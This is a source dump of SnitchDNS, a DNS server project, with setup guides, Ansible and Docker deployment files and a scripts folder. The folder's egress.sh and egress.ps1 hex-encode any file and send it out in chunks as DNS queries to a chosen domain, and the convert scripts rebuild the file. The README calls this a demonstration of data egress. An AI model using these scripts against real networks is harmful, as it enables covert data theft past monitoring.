/docs/setup/ansible.md:
--------------------------------------------------------------------------------
 1 | # Ansible
 2 | 
 3 | **WARNING**: The Ansible scripts have been tested only against clean installations of the supported operating systems. Be careful if you run them against an environment with non-standard configuration.
 4 | 
 5 | Ansible scripts are provided in the `./setup/ansible` directory.
 6 | 
 7 | Rename the `vars.yml.template` file to `vars.yml`, follow the instructions within the file to set the appropriate variables, and run against your host:
 8 | 
 9 | ```
10 | cd ./setup/ansible
11 | ansible-playbook -K snitch.yml -v --user <USER_TO_LOGIN_WITH> --ask-pass -i <IP_OR_HOSTNAME_OF_MACHINE>,
12 | ```


--------------------------------------------------------------------------------
/docs/setup/docker.md:
--------------------------------------------------------------------------------
 1 | # Docker
 2 | 
 3 | Note: The provided Dockerfile is meant to be used as a demo only.
 4 | 
 5 | Navigate to `./setup/docker` and run:
 6 | 
 7 | ```
 8 | docker build -t snitchdns .
 9 | docker run -p 80:80 -p 443:443 -p 53:2024/udp --name snitch snitchdns
10 | ```
11 | 
12 | The following build arguments are available:
13 | 
14 | ```
15 | ARG REPO=https://github.com/ctxis/SnitchDNS
16 | 
17 | ARG SNITCHDNS_DBMS=sqlite
18 | ARG SNITCHDNS_DB_USER=none
19 | ARG SNITCHDNS_DB_PW=none
20 | ARG SNITCHDNS_DB_URL=none
21 | ARG SNITCHDNS_DB_DB=none
22 | ARG SNITCHDNS_SECRET_KEY=RosesAreRedVioletsAreBlueThisMustBeSecretAsWellAsLongToo
23 | 
24 | ARG SNITCH_DOMAIN=www.snitch.docker
25 | ARG BASE_DOMAIN=snitchdns.docker
26 | ```
27 | 
28 | If the default values are not changed, make sure to put `127.0.0.1 www.snitch.docker` in your `/etc/hosts` file.
29 | After the container has been built and has been started, test it by:
30 | 
31 | ```
32 | dig -t TXT www.google.com @YOUR_LOCAL_IP_ADDRESS
33 | ```


--------------------------------------------------------------------------------
/docs/setup/update.md:
--------------------------------------------------------------------------------
 1 | # Update Version
 2 | 
 3 | Below are the instructions on how to update an existing installation of SnitchDNS.
 4 | 
 5 | ## Update Codebase
 6 | 
 7 | ```
 8 | # Stop the SnitchDNS system service
 9 | sudo systemctl stop snitchdns.service
10 | 
11 | # Switch to the user that owns the files in the installation directory. This is usually the user running the web server.
12 | sudo -u www-data /bin/bash
13 | 
14 | # Navigate to SnitchDNS' installation path.
15 | cd /opt/snitch
16 | 
17 | # Make sure you're on the master branch, and pull the latest and greatest code.
18 | git checkout master
19 | git pull
20 | ```
21 | 
22 | ## Update Requirements and Database
23 | 
24 | ```
25 | # Enable the virtual environment.
26 | . venv/bin/activate
27 | 
28 | # Install requirements.
29 | pip install -r requirements.txt
30 | 
31 | # Now that you have the latest and greatest code, update the database.
32 | flask db migrate
33 | flask db upgrade
34 | flask snitchdb
35 | ```
36 | 
37 | ## Restart Service
38 | 
39 | ```
40 | # After exiting from the www-data user's shell, start the service.
41 | sudo systemctl start snitchdns.service
42 | ```
43 | 


--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
 1 | Flask<2.0.0
 2 | Flask-SQLAlchemy==2.5.1
 3 | Flask-Migrate
 4 | Flask-WTF
 5 | Flask-Login
 6 | Flask-Bcrypt
 7 | Flask-Mail
 8 | packaging
 9 | psutil
10 | gunicorn
11 | Twisted
12 | ldap3
13 | Flask-Crontab
14 | pywebpush
15 | psycopg2
16 | PyMySQL
17 | pyotp
18 | tabulate
19 | python-dotenv
20 | progressbar2
21 | pyrad
22 | markupsafe==2.0.1
23 | sqlalchemy==1.4.39
24 | 


--------------------------------------------------------------------------------
/scripts/README.md:
--------------------------------------------------------------------------------
 1 | # Scripts
 2 | 
 3 | These scripts can be used to demonstrate data egress.
 4 | 
 5 | ## Egress Scripts
 6 | 
 7 | Two scripts, one for Windows (egress.ps1) and one for Linux (egress.sh)
 8 | 
 9 | ## Convertion Script
10 | 
11 | Following an egress, export all the queries into a CSV file and run that file through the right `convert` script.
12 | 


--------------------------------------------------------------------------------
/scripts/convert.ps1:
--------------------------------------------------------------------------------
 1 | $inputFile = $args[0]
 2 | $outputFile = $args[1]
 3 | 
 4 | if ([string]::IsNullOrEmpty($inputFile) -Or [string]::IsNullOrEmpty($outputFile))
 5 | {
 6 |     Write-Host "Syntax: .\convert.ps1 [FILE] [OUTPUT]"
 7 |     break
 8 | }
 9 | 
10 | $inputFile = (Resolve-Path -Path $inputFile)
11 | $outputFile = Resolve-Path $outputFile -ErrorAction SilentlyContinue -ErrorVariable _frperror
12 | 
13 | if (-not($outputFile)) {
14 |     $outputFile = $_frperror[0].TargetObject
15 | }
16 | 
17 | $csv = Import-Csv $inputFile
18 | $lines = $csv.domain | sort
19 | $data = ''
20 | Foreach ($line in $lines) {
21 |     $data = $data + $line.split('.')[1]
22 | }
23 | 
24 | $bytes = [byte[]]::new($data.Length / 2)
25 | For($i = 0; $i -lt $data.Length; $i += 2) {
26 |     $bytes[$i / 2] = [Convert]::ToByte($data.Substring($i, 2), 16)
27 | }
28 | 
29 | [IO.File]::WriteAllBytes($outputFile, $bytes)


--------------------------------------------------------------------------------
/scripts/convert.sh:
--------------------------------------------------------------------------------
 1 | #!/bin/bash
 2 | 
 3 | INPUT_FILE="$1"
 4 | OUTPUT_FILE="$2"
 5 | 
 6 | if [ -z "$INPUT_FILE" ] || [ -z "$OUTPUT_FILE" ]; then
 7 |     echo "Syntax: ./convert.sh [FILE] [OUTPUT]"
 8 |     exit 1
 9 | fi
10 | echo "Reading file..."
11 | DATA=""
12 | while IFS=, read -r id domain ip
13 | do
14 |     domain=$(echo "$domain" | tr -d "\"")
15 |     if [ "$domain" = "domain" ]; then
16 |         continue
17 |     fi
18 | 
19 |     DATA="${DATA}\n${domain}"
20 | done < "$INPUT_FILE"
21 | 
22 | echo "Putting file together..."
23 | DATA=$(echo -e "$DATA" | sort)
24 | HEX=""
25 | while IFS= read -r line; do
26 |     IFS="." read -r -a subs <<< "$line"
27 |     HEX="${HEX}${subs[1]}"
28 | done <<< "$DATA"
29 | 
30 | echo "Saving file..."
31 | echo "$HEX" | xxd -r -p > "$OUTPUT_FILE"


--------------------------------------------------------------------------------
/scripts/egress.ps1:
--------------------------------------------------------------------------------
 1 | $inputFile = $args[0]
 2 | $url = $args[1]
 3 | 
 4 | if ([string]::IsNullOrEmpty($inputFile) -Or [string]::IsNullOrEmpty($url))
 5 | {
 6 |     Write-Host "Syntax: .\egress.ps1 [FILE] [ENDPOINT]"
 7 |     break
 8 | }
 9 | 
10 | $inputFile = (Resolve-Path -Path $inputFile)
11 | $chunkSize = 63
12 | 
13 | Write-Host "Reading file"
14 | $data = [IO.File]::ReadAllBytes($inputFile)
15 | $encoded = ''
16 | 
17 | Write-Host "Encoding file"
18 | Foreach ($byte in $data) {
19 |     $encoded = $encoded + [System.String]::Format("{0:X2}", [System.Convert]::ToUInt32($byte))
20 | }
21 | $encoded = $encoded.ToLower()
22 | 
23 | $allLines = [Math]::Ceiling($encoded.Length / $chunkSize)
24 | $paddingSize = $allLines.ToString().Length
25 | $paddingFormat = '{0:d' + $paddingSize + '}'
26 | 
27 | Write-Host 'All chunks are' $allLines
28 | 
29 | For ($i = 0; $i -lt $allLines; $i++) {
30 |     $chunk = $paddingFormat -f ($i + 1)
31 |     if ($encoded.Length -gt $chunkSize) {
32 |         $line = $encoded.Substring(0, $chunkSize)
33 |         $encoded = $encoded.Substring($chunkSize)
34 |     } else {
35 |         $line = $encoded
36 |     }
37 |     
38 |     $line = $line.Replace('/', '-')
39 |     
40 |     $domain = $chunk + '.' + $line + '.' + $url
41 |     Write-Host $domain
42 |     
43 |     Resolve-DnsName -Name $domain -Type A -QuickTimeout -DnsOnly | Out-Null
44 | }
45 | 


--------------------------------------------------------------------------------
/scripts/egress.sh:
--------------------------------------------------------------------------------
 1 | #!/bin/bash
 2 | 
 3 | INPUT_FILE="$1"
 4 | URL="$2"
 5 | DNS_SERVER="$3"
 6 | 
 7 | if [ -z "$INPUT_FILE" ] || [ -z "$URL" ] || [ -z "$DNS_SERVER" ]; then
 8 |     echo "Syntax: ./egress.sh [FILE] [ENDPOINT] [DNS_SERVER]"
 9 |     exit 1
10 | fi
11 | 
12 | ENCODED=$(cat "$INPUT_FILE" | xxd -p | tr -d '\n' | fold -w63)
13 | ALL_LINES=$(echo "$ENCODED" | wc -l)
14 | PADDING_SIZE=${#ALL_LINES}
15 | PADDING_FORMAT="%0${PADDING_SIZE}d"
16 | COUNT=0
17 | echo "All chunks are $ALL_LINES"
18 | while IFS= read -r line; do
19 |     COUNT=$((COUNT+1))
20 |     CHUNK=$(printf "$PADDING_FORMAT" $COUNT)
21 |     DOMAIN="$CHUNK.$line.$URL"
22 |     COMMAND="dig -t A $DOMAIN @$DNS_SERVER"
23 |     echo "$COMMAND"
24 |     OUTPUT=$($COMMAND)
25 | done <<< "$ENCODED"


--------------------------------------------------------------------------------
/setup/ansible/roles/dbms/tasks/main.yml:
--------------------------------------------------------------------------------
 1 | - name: "Install SQLite"
 2 |   import_tasks: sqlite/main.yml
 3 |   when: database.dbms == 'sqlite'
 4 | 
 5 | - name: "Install MySQL"
 6 |   import_tasks: mysql/main.yml
 7 |   when: database.dbms == 'mysql' and database.install == 'yes'
 8 | 
 9 | - name: "Install Postgres"
10 |   import_tasks: postgres/main.yml
11 |   when: database.dbms == 'postgres' and database.install == 'yes'
12 | 


--------------------------------------------------------------------------------
/setup/ansible/roles/dbms/tasks/mysql/main.yml:
--------------------------------------------------------------------------------
 1 | - name: "Install MySQL Prerequisites"
 2 |   apt:
 3 |     name: "{{ packages }}"
 4 |   vars:
 5 |     packages:
 6 |       - mysql-server
 7 | 
 8 | - name: "Install MySQL pip Prerequisites"
 9 |   pip:
10 |     name: PyMySQL
11 | 
12 | - name: "Creating '{{ database.database }}' database"
13 |   mysql_db:
14 |     login_unix_socket: /var/run/mysqld/mysqld.sock
15 |     name: "{{ database.database }}"
16 |     encoding: 'utf8mb4'
17 |     collation: 'utf8mb4_unicode_ci'
18 |     state: present
19 | 
20 | - name: "Creating '{{ database.username }}' user"
21 |   mysql_user:
22 |     login_unix_socket: /var/run/mysqld/mysqld.sock
23 |     name: '{{ database.username }}'
24 |     password: '{{ database.password }}'
25 |     host: '{{ database.hostname }}'
26 |     priv: '{{ database.database }}.*:ALL'
27 |     state: present
28 | 


--------------------------------------------------------------------------------
/setup/ansible/roles/dbms/tasks/postgres/main.yml:
--------------------------------------------------------------------------------
 1 | - name: "Install Postgres Prerequisites"
 2 |   apt:
 3 |     name: "{{ packages }}"
 4 |   vars:
 5 |     packages:
 6 |       - postgresql
 7 |       - postgresql-contrib
 8 |       - libpq-dev
 9 |       - python3-psycopg2
10 | 
11 | - name: "Creating '{{ database.database }}' database"
12 |   become: yes
13 |   become_user: postgres
14 |   postgresql_db:
15 |     name: "{{ database.database }}"
16 |     state: present
17 | 
18 | - name: "Creating '{{ database.username }}' user"
19 |   become: yes
20 |   become_user: postgres
21 |   postgresql_user:
22 |     db: "{{ database.database }}"
23 |     name: '{{ database.username }}'
24 |     password: '{{ database.password }}'
25 |     priv: ALL
26 | 


--------------------------------------------------------------------------------
/setup/ansible/roles/dbms/tasks/sqlite/main.yml:
--------------------------------------------------------------------------------
1 | - name: "Install SQLite Prerequisites"
2 |   apt:
3 |     name: "{{ packages }}"
4 |   vars:
5 |     packages:
6 |       - sqlite3
7 | 


--------------------------------------------------------------------------------
/setup/ansible/roles/iptables/tasks/main.yml:
--------------------------------------------------------------------------------
 1 | - name: "Install iptables requirements"
 2 |   apt:
 3 |     name: "iptables-persistent"
 4 | 
 5 | - name: "Forward TCP port 53 to {{ snitch.listen_port }}"
 6 |   iptables:
 7 |     action: insert
 8 |     table: nat
 9 |     chain: PREROUTING
10 |     jump: REDIRECT
11 |     destination_port: 53
12 |     protocol: tcp
13 |     to_ports: "{{ snitch.listen_port }}"
14 |     comment: "SnitchDNS - Forward TCP port 53 to {{ snitch.listen_port }}"
15 | 
16 | - name: "Forward UDP port 53 to {{ snitch.listen_port }}"
17 |   iptables:
18 |     action: insert
19 |     table: nat
20 |     chain: PREROUTING
21 |     jump: REDIRECT
22 |     destination_port: 53
23 |     protocol: udp
24 |     to_ports: "{{ snitch.listen_port }}"
25 |     comment: "SnitchDNS - Forward UDP port 53 to {{ snitch.listen_port }}"
26 | 
27 | - name: "Saving iptables v4 rules"
28 |   shell: iptables-save > /etc/iptables/rules.v4
29 | 
30 | - name: "Saving iptables v6 rules"
31 |   shell: ip6tables-save > /etc/iptables/rules.v6


--------------------------------------------------------------------------------
/setup/ansible/roles/prerequisites/tasks/main.yml:
--------------------------------------------------------------------------------
 1 | - name: "Check python requirements"
 2 |   import_tasks: system/version.yml
 3 | 
 4 | # This path is used in a number of roles.
 5 | - name: "Lookup data path"
 6 |   set_fact:
 7 |     var_data_path: "{{ snitch.data_path if snitch.data_path|length > 0 else snitch.destination + '/data' }}"
 8 | 
 9 | - name: "Install Ubuntu pre-requisites"
10 |   import_tasks: ubuntu/main.yml
11 |   when: ansible_distribution|lower == 'ubuntu'


--------------------------------------------------------------------------------
/setup/ansible/roles/prerequisites/tasks/system/version.yml:
--------------------------------------------------------------------------------
1 | - name: "Getting python version"
2 |   shell:
3 |     cmd: "{{ system.python_executable }} --version 2>&1 | grep -Po '(?<=Python )(.+)'"
4 |   register: python_version
5 | 
6 | - name: "Checking minimum python version"
7 |   when: python_version.stdout is version("{{ requirements.minimum_python_version }}", '<')
8 |   fail:
9 |     msg: "Minimum python version is {{ requirements.minimum_python_version }} and the currently installed version is {{ python_version.stdout }}"


--------------------------------------------------------------------------------
/setup/ansible/roles/prerequisites/tasks/ubuntu/main.yml:
--------------------------------------------------------------------------------
 1 | # The 'acl' package is required for 'become' in ansible to work.
 2 | # The 'libpq-dev' is for building the 'psycopg2' requirement.
 3 | - name: "Install packages"
 4 |   apt:
 5 |     name: "{{ packages }}"
 6 |   vars:
 7 |     packages:
 8 |       - git
 9 |       - python3-pip
10 |       - python3-venv
11 |       - acl
12 |       - libpq-dev
13 | 
14 | - name: "Upgrade pip to latest and greatest version"
15 |   pip:
16 |     name: pip
17 |     extra_args: --upgrade


--------------------------------------------------------------------------------
/setup/ansible/roles/service/tasks/main.yml:
--------------------------------------------------------------------------------
1 | - name: "Install Ubuntu Service"
2 |   import_tasks: systemd/ubuntu.yml
3 |   when: ansible_distribution|lower == 'ubuntu'


--------------------------------------------------------------------------------
/setup/ansible/roles/service/tasks/systemd/ubuntu.yml:
--------------------------------------------------------------------------------
 1 | - name: "Creating http config directory"
 2 |   file:
 3 |     path: "{{ var_data_path }}/config/http"
 4 |     state: directory
 5 |     recurse: yes
 6 |     owner: "{{ web.user }}"
 7 |     group: "{{ web.group }}"
 8 | 
 9 | - name: "Check for Gunicorn private key"
10 |   stat:
11 |     path: "{{ var_data_path }}/config/http/gunicorn.pem"
12 |   register: ssl_pem
13 | 
14 | - name: "Check for Gunicorn csr key"
15 |   stat:
16 |     path: "{{ var_data_path }}/config/http/gunicorn.csr"
17 |   register: ssl_csr
18 | 
19 | - name: "Check for Gunicorn crt key"
20 |   stat:
21 |     path: "{{ var_data_path }}/config/http/gunicorn.crt"
22 |   register: ssl_crt
23 | 
24 | - name: "Generating Gunicorn private key"
25 |   when: ssl_pem.stat.exists == False
26 |   openssl_privatekey:
27 |     path: "{{ var_data_path }}/config/http/gunicorn.pem"
28 |     size: 2048
29 |     mode: "0600"
30 | 
31 | - name: "Generating Gunicorn csr key"
32 |   when: ssl_csr.stat.exists == False
33 |   openssl_csr:
34 |     path: "{{ var_data_path }}/config/http/gunicorn.csr"
35 |     privatekey_path: "{{ var_data_path }}/config/http/gunicorn.pem"
36 |     common_name: "{{ web.domain }}"
37 | 
38 | - name: "Generating Gunicorn crt key"
39 |   when: ssl_crt.stat.exists == False
40 |   openssl_certificate:
41 |     path: "{{ var_data_path }}/config/http/gunicorn.crt"
42 |     privatekey_path: "{{ var_data_path }}/config/http/gunicorn.pem"
43 |     csr_path: "{{ var_data_path }}/config/http/gunicorn.csr"
44 |     provider: selfsigned
45 |     mode: "0644"
46 | 
47 | - name: "Creating config directory"
48 |   file:
49 |     path: "{{ var_data_path }}/config/service"
50 |     state: directory
51 |     recurse: yes
52 |     owner: "{{ web.user }}"
53 |     group: "{{ web.group }}"
54 | 
55 | - name: "Creating service file"
56 |   template:
57 |     src: systemd.j2
58 |     dest: "{{ var_data_path }}/config/service/snitchdns.service"
59 | 
60 | - name: "Checking for installed service"
61 |   stat:
62 |     path: "/etc/systemd/system/snitchdns.service"
63 |   register: existing_service
64 | 
65 | - name: "Creating link to service"
66 |   when: existing_service.stat.exists == False
67 |   file:
68 |     src: "{{ var_data_path }}/config/service/snitchdns.service"
69 |     dest: "/etc/systemd/system/snitchdns.service"
70 |     state: link
71 | 
72 | - name: "Enabling and starting service"
73 |   systemd:
74 |     name: snitchdns
75 |     daemon_reload: yes
76 |     enabled: true
77 |     state: started
78 | 


--------------------------------------------------------------------------------
/setup/ansible/roles/service/templates/systemd.j2:
--------------------------------------------------------------------------------
 1 | [Unit]
 2 | Description=SnitchDNS Gunicorn
 3 | After=network.target
 4 | StartLimitBurst=5
 5 | StartLimitIntervalSec=30
 6 | 
 7 | [Service]
 8 | Restart=always
 9 | RestartSec=30
10 | User={{ web.user }}
11 | Group={{ web.group }}
12 | WorkingDirectory={{ snitch.destination }}
13 | EnvironmentFile=/etc/environment
14 | EnvironmentFile={{ var_data_path }}/config/env/snitch.conf
15 | Environment="PATH={{ snitch.destination }}/venv/bin:$PATH"
16 | ExecStart={{ snitch.destination }}/venv/bin/gunicorn --workers 3 --bind {{ web.bind_host }}:{{ web.bind_port }} --certfile={{ var_data_path }}/config/http/gunicorn.crt --keyfile={{ var_data_path }}/config/http/gunicorn.pem -m 007 wsgi:app
17 | ExecStartPost={{ snitch.destination }}/venv/bin/python3 -m flask snitch_start
18 | 
19 | [Install]
20 | WantedBy=multi-user.target


--------------------------------------------------------------------------------
/setup/ansible/roles/snitch/templates/env.conf.j2:
--------------------------------------------------------------------------------
1 | SNITCHDNS_DBMS={{ database.dbms }}
2 | SNITCHDNS_DB_USER={{ database.username }}
3 | SNITCHDNS_DB_PW={{ database.password }}
4 | SNITCHDNS_DB_URL={{ database.hostname }}
5 | SNITCHDNS_DB_DB={{ database.database }}
6 | SNITCHDNS_DATA_PATH={{ var_data_path }}
7 | SNITCHDNS_SECRET_KEY={{ var_secret_key }}


--------------------------------------------------------------------------------
/setup/ansible/roles/webserver/tasks/apache/server.yml:
--------------------------------------------------------------------------------
1 | - name: "Configuring Apache for Ubuntu"
2 |   import_tasks: ubuntu/main.yml
3 |   when: ansible_distribution|lower == 'ubuntu'


--------------------------------------------------------------------------------
/setup/ansible/roles/webserver/tasks/apache/ubuntu/main.yml:
--------------------------------------------------------------------------------
 1 | - name: "Installing apache"
 2 |   apt:
 3 |     name: "apache2"
 4 | 
 5 | - name: "Enabling Apache proxy module"
 6 |   apache2_module:
 7 |     name: proxy
 8 |     state: present
 9 | 
10 | - name: "Enabling Apache proxy_http module"
11 |   apache2_module:
12 |     name: proxy_http
13 |     state: present
14 | 
15 | - name: "Enabling Apache rewrite module"
16 |   apache2_module:
17 |     name: rewrite
18 |     state: present
19 | 
20 | - name: "Enabling Apache ssl module"
21 |   apache2_module:
22 |     name: ssl
23 |     state: present
24 | 
25 | - name: "Check for Apache config file"
26 |   stat:
27 |     path: "{{ var_data_path }}/config/http/vhost.conf"
28 |   register: http_config
29 | 
30 | - name: "Check for available vhost"
31 |   stat:
32 |     path: /etc/apache2/sites-available/snitch.conf
33 |   register: available_host
34 | 
35 | - name: "Check for enabled vhost"
36 |   stat:
37 |     path: /etc/apache2/sites-enabled/snitch.conf
38 |   register: enabled_host
39 | 
40 | - name: "Creating config"
41 |   when: http_config.stat.exists == False
42 |   template:
43 |     src: apache/ubuntu.vhost.conf.j2
44 |     dest: "{{ var_data_path }}/config/http/vhost.conf"
45 | 
46 | - name: "Creating available vhost"
47 |   when: available_host.stat.exists == False
48 |   file:
49 |     src: "{{ var_data_path }}/config/http/vhost.conf"
50 |     dest: "/etc/apache2/sites-available/snitch.conf"
51 |     state: link
52 | 
53 | - name: "Enabling vhost"
54 |   when: enabled_host.stat.exists == False
55 |   command: a2ensite "snitch.conf"
56 | 
57 | - name: "Reloading apache"
58 |   service:
59 |     name: apache2
60 |     state: reloaded


--------------------------------------------------------------------------------
/setup/ansible/roles/webserver/tasks/main.yml:
--------------------------------------------------------------------------------
 1 | - name: "Configure SSL Certificates"
 2 |   import_tasks: ssl/certificates.yml
 3 | 
 4 | - name: "Configuring Apache"
 5 |   import_tasks: apache/server.yml
 6 |   when: web.server == 'apache'
 7 | 
 8 | - name: "Configuring nginx"
 9 |   import_tasks: nginx/server.yml
10 |   when: web.server == 'nginx'


--------------------------------------------------------------------------------
/setup/ansible/roles/webserver/tasks/nginx/server.yml:
--------------------------------------------------------------------------------
1 | - name: "Configuring nginx for Ubuntu"
2 |   import_tasks: ubuntu/main.yml
3 |   when: ansible_distribution|lower == 'ubuntu'


--------------------------------------------------------------------------------
/setup/ansible/roles/webserver/tasks/nginx/ubuntu/main.yml:
--------------------------------------------------------------------------------
 1 | - name: "Install nginx"
 2 |   apt:
 3 |     name: "nginx"
 4 | 
 5 | - name: "Check for nginx config file"
 6 |   stat:
 7 |     path: "{{ var_data_path }}/config/http/vhost.conf"
 8 |   register: http_config
 9 | 
10 | - name: "Check for enabled vhost"
11 |   stat:
12 |     path: /etc/nginx/sites-enabled/snitch
13 |   register: enabled_host
14 | 
15 | - name: "Creating config"
16 |   when: http_config.stat.exists == False
17 |   template:
18 |     src: nginx/ubuntu.vhost.conf.j2
19 |     dest: "{{ var_data_path }}/config/http/vhost.conf"
20 | 
21 | - name: "Enabling vhost"
22 |   when: enabled_host.stat.exists == False
23 |   file:
24 |     src: "{{ var_data_path }}/config/http/vhost.conf"
25 |     dest: "/etc/nginx/sites-enabled/snitch"
26 |     state: link
27 | 
28 | - name: "Restarting nginx"
29 |   service:
30 |     name: nginx
31 |     state: restarted


--------------------------------------------------------------------------------
/setup/ansible/roles/webserver/tasks/ssl/certificates.yml:
--------------------------------------------------------------------------------
 1 | - name: "Creating http config directory"
 2 |   file:
 3 |     path: "{{ var_data_path }}/config/http"
 4 |     state: directory
 5 |     recurse: yes
 6 |     owner: "{{ web.user }}"
 7 |     group: "{{ web.group }}"
 8 | 
 9 | - name: "Check for private key"
10 |   stat:
11 |     path: "{{ var_data_path }}/config/http/ssl.pem"
12 |   register: ssl_pem
13 | 
14 | - name: "Check for csr key"
15 |   stat:
16 |     path: "{{ var_data_path }}/config/http/ssl.csr"
17 |   register: ssl_csr
18 | 
19 | - name: "Check for crt key"
20 |   stat:
21 |     path: "{{ var_data_path }}/config/http/ssl.crt"
22 |   register: ssl_crt
23 | 
24 | - name: "Check if custom SSL certificate exists"
25 |   when: web.ssl_cert_file != ''
26 |   copy:
27 |     src: "{{ web.ssl_cert_file }}"
28 |     dest: "{{ var_data_path }}/config/http/ssl.crt"
29 |     mode: "0644"
30 | 
31 | - name: "Check if custom SSL private key exists"
32 |   when: web.ssl_cert_keyfile != ''
33 |   copy:
34 |     src: "{{ web.ssl_cert_keyfile }}"
35 |     dest: "{{ var_data_path }}/config/http/ssl.pem"
36 |     mode: "0600"
37 | 
38 | - name: "Generating private key"
39 |   when: ssl_pem.stat.exists == False and web.ssl_cert_file == ''
40 |   openssl_privatekey:
41 |     path: "{{ var_data_path }}/config/http/ssl.pem"
42 |     size: 2048
43 |     mode: "0600"
44 | 
45 | - name: "Generating csr key"
46 |   when: ssl_csr.stat.exists == False and web.ssl_cert_file == ''
47 |   openssl_csr:
48 |     path: "{{ var_data_path }}/config/http/ssl.csr"
49 |     privatekey_path: "{{ var_data_path }}/config/http/ssl.pem"
50 |     common_name: "{{ web.domain }}"
51 | 
52 | - name: "Generating crt key"
53 |   when: ssl_crt.stat.exists == False and web.ssl_cert_file == ''
54 |   openssl_certificate:
55 |     path: "{{ var_data_path }}/config/http/ssl.crt"
56 |     privatekey_path: "{{ var_data_path }}/config/http/ssl.pem"
57 |     csr_path: "{{ var_data_path }}/config/http/ssl.csr"
58 |     provider: selfsigned
59 |     mode: "0644"


--------------------------------------------------------------------------------
/setup/ansible/roles/webserver/templates/apache/ubuntu.vhost.conf.j2:
--------------------------------------------------------------------------------
 1 | <VirtualHost *:80>
 2 |     ServerName {{ web.domain }}
 3 |     DocumentRoot /var/www/html
 4 | 
 5 |     ErrorLog ${APACHE_LOG_DIR}/snitch.error.log
 6 |     CustomLog ${APACHE_LOG_DIR}/snitch.access.log combined
 7 | 
 8 |     RewriteEngine On
 9 |     RewriteCond %{HTTPS} off
10 |     RewriteRule (.*) https://%{HTTP_HOST}%{REQUEST_URI}
11 | </VirtualHost>
12 | 
13 | <VirtualHost *:443>
14 |     ServerName {{ web.domain }}
15 |     DocumentRoot /var/www/html
16 | 
17 |     ErrorLog ${APACHE_LOG_DIR}/snitch.error.log
18 |     CustomLog ${APACHE_LOG_DIR}/snitch.access.log combined
19 | 
20 |     ProxyPreserveHost On
21 |     ProxyPass	/	https://{{ web.bind_host }}:{{ web.bind_port }}/
22 |     ProxyPassReverse	/	https://{{ web.bind_host }}:{{ web.bind_port }}/
23 | 
24 |     SSLEngine on
25 |     SSLProxyEngine on
26 |     SSLProxyVerify none
27 |     SSLProxyCheckPeerCN off
28 |     SSLProxyCheckPeerName off
29 |     SSLProxyCheckPeerExpire off
30 | 
31 |     SSLCertificateFile	{{ var_data_path }}/config/http/ssl.crt
32 |     SSLCertificateKeyFile {{ var_data_path }}/config/http/ssl.pem
33 | </VirtualHost>


--------------------------------------------------------------------------------
/setup/ansible/roles/webserver/templates/nginx/ubuntu.vhost.conf.j2:
--------------------------------------------------------------------------------
 1 | server {
 2 |     listen 80;
 3 |     server_name {{ web.domain }};
 4 |     return 301 https://$server_name$request_uri;
 5 | }
 6 | 
 7 | server {
 8 |     listen 443 ssl http2;
 9 |     server_name {{ web.domain }};
10 | 
11 |     ssl_certificate {{ var_data_path }}/config/http/ssl.crt;
12 |     ssl_certificate_key {{ var_data_path }}/config/http/ssl.pem;
13 | 
14 |     ssl_protocols TLSv1.2;
15 | 
16 |     location / {
17 |         include proxy_params;
18 |         proxy_pass https://{{ web.bind_host }}:{{ web.bind_port }}/;
19 |     }
20 | }


--------------------------------------------------------------------------------
/setup/ansible/snitch.yml:
--------------------------------------------------------------------------------
 1 | ---
 2 | - name: "Install prerequisites"
 3 |   hosts: all
 4 |   become: yes
 5 |   vars_files:
 6 |     - vars.yml
 7 |   roles:
 8 |     - prerequisites
 9 | 
10 | - name: "Install DBMS"
11 |   hosts: all
12 |   become: yes
13 |   vars_files:
14 |     - vars.yml
15 |   roles:
16 |     - dbms
17 | 
18 | - name: "Install SnitchDNS"
19 |   hosts: all
20 |   become: yes
21 |   vars_files:
22 |     - vars.yml
23 |   roles:
24 |     - snitch
25 | 
26 | - name: "Install SnitchDNS Service"
27 |   hosts: all
28 |   become: yes
29 |   vars_files:
30 |     - vars.yml
31 |   roles:
32 |     - service
33 | 
34 | - name: "Configure web server"
35 |   hosts: all
36 |   become: yes
37 |   vars_files:
38 |     - vars.yml
39 |   roles:
40 |     - webserver
41 | 
42 | - name: "Configure iptables"
43 |   hosts: all
44 |   become: yes
45 |   vars_files:
46 |     - vars.yml
47 |   roles:
48 |     - iptables


--------------------------------------------------------------------------------
/setup/docker/entrypoint.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | 
3 | service apache2 start
4 | service cron start
5 | 
6 | ./venv.sh flask snitch_start
7 | ./venv.sh flask run --host 127.0.0.1 --port 8888
8 | 


--------------------------------------------------------------------------------
/venv.sh:
--------------------------------------------------------------------------------
 1 | #!/usr/bin/env bash
 2 | # Use this script as a proxy to run flask commands either via CLI or the service.
 3 | 
 4 | # Get current script's path - https://stackoverflow.com/a/4774063
 5 | VENV_SCRIPT="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )"
 6 | cd "$VENV_SCRIPT"
 7 | 
 8 | # Load the SnitchDNS config environment variables.
 9 | export $(grep -v '^#' data/config/env/snitch.conf)
10 | 
11 | SNITCH_FLASK_ENVIRONMENT="production"
12 | if [[ -n "$SNITCHDNS_ENV" ]]; then
13 |   if [[ "$SNITCHDNS_ENV" == "development" ]] || [[ "$SNITCHDNS_ENV" == "production" ]]; then
14 |     SNITCH_FLASK_ENVIRONMENT="$SNITCHDNS_ENV"
15 |   fi
16 | fi
17 | 
18 | . venv/bin/activate
19 | export FLASK_APP=app
20 | export FLASK_ENV="$SNITCH_FLASK_ENVIRONMENT"
21 | 
22 | # And now execute whatever was passed through the command line.
23 | "$@"


--------------------------------------------------------------------------------
/wsgi.py:
--------------------------------------------------------------------------------
1 | from app import create_app
2 | 
3 | app = create_app()
4 | if __name__ == '__main__':
5 |     app.run()
6 | 


--------------------------------------------------------------------------------